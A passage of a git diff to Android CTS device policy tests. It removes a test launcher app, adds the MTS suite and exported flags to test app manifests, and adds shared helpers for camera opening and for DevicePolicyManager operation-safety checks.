-    ],
-    test_suites: [
-        "arcts",
-        "cts",
-        "general-tests",
-    ],
-}
diff --git a/hostsidetests/devicepolicy/app/TestLauncher/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestLauncher/AndroidManifest.xml
deleted file mode 100644
index db9de7f..0000000
--- a/hostsidetests/devicepolicy/app/TestLauncher/AndroidManifest.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<!--
-/*
- * Copyright 2020, The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.testlauncher">
-    <application android:label="Test Launcher">
-        <activity android:name="android.app.Activity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.HOME"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-            </intent-filter>
-        </activity>
-        <activity android:name=".QuietModeToggleActivity"
-                  android:exported="true"/>
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.testlauncher">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
-    </instrumentation>
-</manifest>
diff --git a/hostsidetests/devicepolicy/app/TestLauncher/src/com/android/cts/dummylauncher/QuietModeToggleActivity.java b/hostsidetests/devicepolicy/app/TestLauncher/src/com/android/cts/dummylauncher/QuietModeToggleActivity.java
deleted file mode 100644
index fd2a280..0000000
--- a/hostsidetests/devicepolicy/app/TestLauncher/src/com/android/cts/dummylauncher/QuietModeToggleActivity.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.testlauncher;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.os.Process;
-import android.os.UserHandle;
-import android.os.UserManager;
-import android.util.Log;
-
-import java.util.List;
-
-public class QuietModeToggleActivity extends Activity {
-    private static final String TAG = "QuietModeToggleActivity";
-    private static final String EXTRA_QUIET_MODE_STATE =
-            "com.android.cts.testactivity.QUIET_MODE_STATE";
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        toggleQuietMode();
-        finish();
-    }
-
-    private void toggleQuietMode() {
-        final boolean quietModeState = getIntent().getBooleanExtra(EXTRA_QUIET_MODE_STATE, false);
-        final UserManager userManager = UserManager.get(this);
-
-        final List<UserHandle> users = userManager.getUserProfiles();
-        if (users.size() != 2) {
-            Log.e(TAG, "Unexpected number of profiles: " + users.size());
-            return;
-        }
-
-        final UserHandle profileHandle =
-                users.get(0).equals(Process.myUserHandle()) ? users.get(1) : users.get(0);
-
-        final String quietModeStateString = quietModeState ? "enabled" : "disabled";
-        if (userManager.isQuietModeEnabled(profileHandle) == quietModeState) {
-            Log.w(TAG, "Quiet mode is already " + quietModeStateString);
-            return;
-        }
-
-        userManager.requestQuietModeEnabled(quietModeState, profileHandle);
-        Log.i(TAG, "Quiet mode for user " + profileHandle + " was set to " + quietModeStateString);
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
index e674981..48c61d3 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
@@ -38,5 +38,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
index b3a8460..018f51b 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/AndroidManifest.xml
@@ -15,46 +15,44 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.transferownerincoming">
+     package="com.android.cts.transferownerincoming">
 
     <uses-sdk android:minSdkVersion="24"/>
 
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
         <uses-library android:name="android.test.runner"/>
-        <receiver
-            android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin"/>
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminReceiverNoMetadata"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminReceiverNoMetadata"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin_no_support_transfer_policy"/>
+                 android:resource="@xml/device_admin_no_support_transfer_policy"/>
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <service
-            android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminService"
-            android:exported="true"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <service android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferIncomingTest$BasicAdminService"
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.transferownerincoming"
-                     android:label="Transfer Owner CTS tests"/>
+         android:targetPackage="com.android.cts.transferownerincoming"
+         android:label="Transfer Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
index d2cb5f3..deda73f 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
@@ -38,5 +38,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
index e1a6dbb..6a0544d 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/AndroidManifest.xml
@@ -15,21 +15,20 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.transferowneroutgoing">
+     package="com.android.cts.transferowneroutgoing">
 
     <uses-sdk android:minSdkVersion="24"/>
 
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
         <uses-library android:name="android.test.runner"/>
-        <receiver
-            android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferOutgoingTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.transferowner.DeviceAndProfileOwnerTransferOutgoingTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin"/>
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
@@ -37,6 +36,6 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.transferowneroutgoing"
-                     android:label="Transfer Owner CTS tests"/>
+         android:targetPackage="com.android.cts.transferowneroutgoing"
+         android:label="Transfer Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
index 506e881..d691fe4 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
@@ -25,5 +25,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/AndroidManifest.xml b/hostsidetests/devicepolicy/app/WidgetProvider/AndroidManifest.xml
index 77246b5..9a8f682 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/AndroidManifest.xml
@@ -16,24 +16,25 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.widgetprovider">
+     package="com.android.cts.widgetprovider">
 
     <uses-permission android:name="android.permission.BIND_APPWIDGET"/>
 
     <application>
-        <receiver android:name="SimpleWidgetProvider" >
+        <receiver android:name="SimpleWidgetProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/simple_widget_provider_info" />
+                 android:resource="@xml/simple_widget_provider_info"/>
         </receiver>
-        <service android:name=".SimpleAppWidgetHostService" >
+        <service android:name=".SimpleAppWidgetHostService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.widgetprovider.REGISTER_CALLBACK" />
+                <action android:name="com.android.cts.widgetprovider.REGISTER_CALLBACK"/>
             </intent-filter>
         </service>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
index 790800b..440b6da 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
@@ -28,5 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/common/Android.bp b/hostsidetests/devicepolicy/app/common/Android.bp
new file mode 100644
index 0000000..b6f930e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the common library for use device-side
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "devicepolicy-deviceside-common",
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    libs: ["junit"],
+    static_libs: [
+            "androidx.legacy_legacy-support-v4",
+            "compatibility-device-util-axt",
+            "ctstestrunner-axt",
+            "androidx.test.rules",
+            "ub-uiautomator",
+            "testng", // TODO: remove once Android migrates to JUnit 4.13, which has assertThrows
+            "DpmWrapper",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/CameraUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/CameraUtils.java
new file mode 100644
index 0000000..61d0105
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/CameraUtils.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.os.Handler;
+import android.util.Log;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * A util class to help open camera in a blocking way.
+ */
+public class CameraUtils {
+
+    private static final String TAG = "CameraUtils";
+
+    /**
+     * @return true if success to open camera, false otherwise.
+     */
+    public static boolean blockUntilOpenCamera(CameraManager cameraManager, Handler handler) {
+        try {
+            String[] cameraIdList = cameraManager.getCameraIdList();
+            if (cameraIdList == null || cameraIdList.length == 0) {
+                return false;
+            }
+            String cameraId = cameraIdList[0];
+            CameraCallback callback = new CameraCallback();
+            cameraManager.openCamera(cameraId, callback, handler);
+            return callback.waitForResult();
+        } catch (Exception ex) {
+            // No matter what is going wrong, it means fail to open camera.
+            ex.printStackTrace();
+            return false;
+        }
+    }
+
+    /**
+     * {@link CameraDevice.StateCallback} is called when {@link CameraDevice} changes its state.
+     */
+    private static class CameraCallback extends CameraDevice.StateCallback {
+
+        private static final int OPEN_TIMEOUT_SECONDS = 5;
+
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+
+        private AtomicBoolean mResult = new AtomicBoolean(false);
+
+        @Override
+        public void onOpened(CameraDevice cameraDevice) {
+            Log.d(TAG, "open camera successfully");
+            mResult.set(true);
+            if (cameraDevice != null) {
+                cameraDevice.close();
+            }
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onDisconnected(CameraDevice cameraDevice) {
+            Log.d(TAG, "disconnect camera");
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onError(CameraDevice cameraDevice, int error) {
+            Log.e(TAG, "Fail to open camera, error code = " + error);
+            mLatch.countDown();
+        }
+
+        public boolean waitForResult() throws InterruptedException {
+            mLatch.await(OPEN_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            return mResult.get();
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
new file mode 100644
index 0000000..0e53817
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
@@ -0,0 +1,315 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+import static android.app.admin.DevicePolicyManager.OPERATION_LOCK_NOW;
+import static android.app.admin.DevicePolicyManager.OPERATION_LOGOUT_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_ACTIVE_ADMIN;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_KEY_PAIR;
+import static android.app.admin.DevicePolicyManager.OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_ALWAYS_ON_VPN_PACKAGE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_MASTER_VOLUME_MUTED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_GRANT_STATE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_RESTRICTIONS_PROVIDER;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_RESTRICTION;
+import static android.app.admin.DevicePolicyManager.operationSafetyReasonToString;
+import static android.app.admin.DevicePolicyManager.operationToString;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.expectThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.UnsafeStateException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.UserManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.Set;
+
+/**
+ * Helper class to test that DPM calls fail when determined by the
+ * {@link android.app.admin.DevicePolicySafetyChecker}; it provides the base infra, so it can be
+ * used by both device and profile owner tests.
+ */
+public class DevicePolicySafetyCheckerIntegrationTester {
+
+    public static final String TAG = DevicePolicySafetyCheckerIntegrationTester.class
+            .getSimpleName();
+
+    private static final int[] OPERATIONS = new int[] {
+            OPERATION_LOCK_NOW,
+            OPERATION_LOGOUT_USER,
+            OPERATION_REMOVE_ACTIVE_ADMIN,
+            OPERATION_REMOVE_KEY_PAIR,
+            OPERATION_SET_MASTER_VOLUME_MUTED,
+            OPERATION_SET_USER_RESTRICTION,
+            OPERATION_SET_PERMISSION_GRANT_STATE,
+            OPERATION_SET_PERMISSION_POLICY,
+            OPERATION_SET_RESTRICTIONS_PROVIDER
+    };
+
+    private static final int[] OVERLOADED_OPERATIONS = new int[] {
+            OPERATION_LOCK_NOW,
+            OPERATION_SET_ALWAYS_ON_VPN_PACKAGE
+    };
+
+    /**
+     * Tests that all safety-aware operations are properly implemented.
+     */
+    public final void testAllOperations(DevicePolicyManager dpm, ComponentName admin) {
+        Log.d(TAG, "testAllOperations: dpm=" + dpm + ", admin=" + admin);
+        Objects.requireNonNull(dpm);
+
+        List<String> failures = new ArrayList<>();
+        for (int operation : OPERATIONS) {
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
+        }
+
+        for (int operation : OVERLOADED_OPERATIONS) {
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
+        }
+
+        for (int operation : getSafetyAwareOperations()) {
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
+        }
+
+        for (int operation : getOverloadedSafetyAwareOperations()) {
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
+        }
+
+        if (!failures.isEmpty()) {
+            fail(failures.size() + " operations failed: " + failures);
+        }
+    }
+
+    /**
+     * Tests {@link DevicePolicyManager#isSafeOperation(int)}.
+     */
+    public void testIsSafeOperation(DevicePolicyManager dpm) {
+        // Currently there's just one reason...
+        int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+        Log.d(TAG, "testIsSafeOperation(): dpm=" + dpm + ", reason="
+                + operationSafetyReasonToString(reason));
+        Objects.requireNonNull(dpm);
+        assertOperationSafety(dpm, reason, /* isSafe= */ true);
+
+        setOperationUnsafe(dpm, OPERATION_LOCK_NOW, reason);
+
+        assertOperationSafety(dpm, reason, /* isSafe= */ false);
+    }
+
+    private void assertOperationSafety(DevicePolicyManager dpm, int reason, boolean isSafe) {
+        assertWithMessage("%s safety", operationSafetyReasonToString(reason))
+                .that(dpm.isSafeOperation(reason)).isEqualTo(isSafe);
+    }
+
+    /**
+     * Tests {@link UnsafeStateException} properties.
+     */
+    public void testUnsafeStateException(DevicePolicyManager dpm, ComponentName admin) {
+        // Currently there's just one reason...
+        int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+        // Operation doesn't really matter
+        int operation = OPERATION_LOCK_NOW;
+        Log.d(TAG, "testUnsafeStateException(): dpm=" + dpm + ", admin=" + admin
+                + ", reason=" + operationSafetyReasonToString(reason)
+                + ", operation=" + operationToString(operation));
+
+        setOperationUnsafe(dpm, operation, reason);
+        UnsafeStateException e = expectThrows(UnsafeStateException.class,
+                () -> runCommonOrSpecificOperation(dpm, admin, operation, /* overloaded= */ false));
+
+        int actualOperation = e.getOperation();
+        assertWithMessage("operation (%s)", operationToString(actualOperation))
+                .that(actualOperation).isEqualTo(operation);
+        List<Integer> actualReasons = e.getReasons();
+        assertWithMessage("reasons").that(actualReasons).hasSize(1);
+        int actualReason = actualReasons.get(0);
+        assertWithMessage("reason (%s)", operationSafetyReasonToString(actualReason))
+                .that(actualReason).isEqualTo(reason);
+    }
+
+    /**
+     * Tests {@link android.app.admin.DeviceAdminReceiver#onOperationSafetyStateChanged()}.
+     */
+    public void testOnOperationSafetyStateChanged(Context context, DevicePolicyManager dpm) {
+        // Currently there's just one reason...
+        int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+        // Operation doesn't really matter
+        int operation = OPERATION_LOCK_NOW;
+        Log.d(TAG, "testOnOperationSafetyStateChanged(): dpm=" + dpm
+                + ", reason=" + operationSafetyReasonToString(reason)
+                + ", operation=" + operationToString(operation));
+        OperationSafetyChangedCallback receiver = OperationSafetyChangedCallback.register(context);
+        try {
+            setOperationUnsafe(dpm, operation, reason);
+            // Must force OneTimeSafetyChecker to generate the event by calling the unsafe operation
+            assertThrows(UnsafeStateException.class, () -> dpm.lockNow());
+
+            Log.d(TAG, "Waiting isSafe=false event");
+            assertNextEvent(receiver, reason, /* isSafe= */ false);
+
+            // OneTimeSafetyChecker automatically disables itself after one operation, which in turn
+            // triggers another event
+            Log.d(TAG, "Waiting isSafe=true event");
+            assertNextEvent(receiver, reason, /* isSafe= */ true);
+        } finally {
+            receiver.unregister(context);
+        }
+    }
+
+    private void assertNextEvent(OperationSafetyChangedCallback receiver,
+            int reason, boolean isSafe) {
+        OperationSafetyChangedEvent event = receiver.getNextEvent();
+        Log.v(TAG, "Received event: " + event);
+        assertWithMessage("event (%s) reason", event).that(event.reason).isEqualTo(reason);
+        assertWithMessage("event (%s) safety state", event).that(event.isSafe).isEqualTo(isSafe);
+    }
+
+    /**
+     * Gets the device / profile owner-specific operations.
+     *
+     * <p>By default it returns an empty array, but sub-classes can override to add its supported
+     * operations.
+     */
+    protected int[] getSafetyAwareOperations() {
+        return new int[] {};
+    }
+
+    /**
+     * Gets the device / profile owner-specific operations that are overloaded.
+     *
+     * <p>For example, {@code OPERATION_WIPE_DATA} is used for both {@code wipeData(flags)} and
+     * {@code wipeData(flags, reason)}, so it should be returned both here and on
+     * {@link #getSafetyAwareOperations()}, then
+     * {@link #runOperation(DevicePolicyManager, int, boolean)} will handle which method to call for
+     * each case.
+     *
+     * <p>By default it returns an empty array, but sub-classes can override to add its supported
+     * operations.
+     */
+    protected int[] getOverloadedSafetyAwareOperations() {
+        return new int[] {};
+    }
+
+    /**
+     * Runs the device / profile owner-specific operation.
+     *
+     * <p>MUST be overridden if {@link #getSafetyAwareOperations()} is overridden as well.
+     */
+    protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
+            boolean overloaded) {
+        throwUnsupportedOperationException(operation, overloaded);
+    }
+
+    /**
+     * Throws a {@link UnsupportedOperationException} then the given {@code operation} is not
+     * supported.
+     */
+    protected final void throwUnsupportedOperationException(int operation, boolean overloaded) {
+        throw new UnsupportedOperationException(
+                "Unsupported operation " + getOperationName(operation, overloaded));
+    }
+
+    private void safeOperationTest(DevicePolicyManager dpm, ComponentName admin,
+            List<String> failures, int operation, boolean overloaded) {
+        String name = getOperationName(operation, overloaded);
+        // Currently there's just one reason...
+        int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+
+        try {
+            setOperationUnsafe(dpm, operation, reason);
+            runCommonOrSpecificOperation(dpm, admin, operation, overloaded);
+            Log.e(TAG, name + " didn't throw an UnsafeStateException");
+            failures.add(name);
+        } catch (UnsafeStateException e) {
+            Log.d(TAG, name + " failed as expected: " + e);
+        } catch (Exception e) {
+            Log.e(TAG, name + " threw unexpected exception", e);
+            failures.add(name + "(" + e + ")");
+        }
+    }
+
+    private String getOperationName(int operation, boolean overloaded) {
+        String name = operationToString(operation);
+        return overloaded ? name + "(OVERLOADED)" : name;
+    }
+
+    private void runCommonOrSpecificOperation(DevicePolicyManager dpm, ComponentName admin,
+            int operation, boolean overloaded) throws Exception {
+        String name = getOperationName(operation, overloaded);
+        Log.v(TAG, "runOperation(): " + name);
+        switch (operation) {
+            case OPERATION_LOCK_NOW:
+                if (overloaded) {
+                    dpm.lockNow(/* flags= */ 0);
+                } else {
+                    dpm.lockNow();
+                }
+                break;
+            case OPERATION_LOGOUT_USER:
+                dpm.logoutUser(admin);
+                break;
+            case OPERATION_SET_ALWAYS_ON_VPN_PACKAGE:
+                if (overloaded) {
+                    dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true);
+                } else {
+                    dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true,
+                            /* lockdownAllowlist= */ Set.of("vpnPackage"));
+                }
+                break;
+            case OPERATION_SET_MASTER_VOLUME_MUTED:
+                dpm.setMasterVolumeMuted(admin, /* on= */ true);
+                break;
+            case OPERATION_SET_PERMISSION_GRANT_STATE:
+                dpm.setPermissionGrantState(admin, "package", "permission", /* grantState= */ 0);
+                break;
+            case OPERATION_SET_PERMISSION_POLICY:
+                dpm.setPermissionPolicy(admin, /* policy= */ 0);
+                break;
+            case OPERATION_SET_RESTRICTIONS_PROVIDER:
+                dpm.setRestrictionsProvider(admin,
+                        /* provider= */ new ComponentName("package", "component"));
+                break;
+            case OPERATION_SET_USER_RESTRICTION:
+                dpm.addUserRestriction(admin, UserManager.DISALLOW_REMOVE_USER);
+                break;
+            case OPERATION_REMOVE_ACTIVE_ADMIN:
+                dpm.removeActiveAdmin(admin);
+                break;
+            case OPERATION_REMOVE_KEY_PAIR:
+                dpm.removeKeyPair(admin, "keyAlias");
+                break;
+            default:
+                runOperation(dpm, admin, operation, overloaded);
+        }
+    }
+
+    private void setOperationUnsafe(DevicePolicyManager dpm, int operation, int reason) {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(dpm,
+                (obj) -> obj.setNextOperationSafety(operation, reason));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java
new file mode 100644
index 0000000..fd2f2ab
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.util.Log;
+
+import com.android.bedstead.dpmwrapper.TestAppHelper;
+
+import junit.framework.AssertionFailedError;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+//TODO(b/174859111): move to automotive-only section
+/**
+ * Helper class used by test apps to get the safety event received by the device owner's
+ * {@link android.app.admin.DeviceAdminReceiver}.
+ */
+public final class OperationSafetyChangedCallback {
+
+    private static final String TAG = OperationSafetyChangedCallback.class.getSimpleName();
+
+    private static final String ACTION_STATE_CHANGED = "operation_safety_state_changed";
+    private static final String EXTRA_REASON = "reason";
+    private static final String EXTRA_IS_SAFE = "is_safe";
+
+    private static final long TIMEOUT_MS = 50_000;
+
+    private final LinkedBlockingQueue<OperationSafetyChangedEvent> mEvents =
+            new LinkedBlockingQueue<>();
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
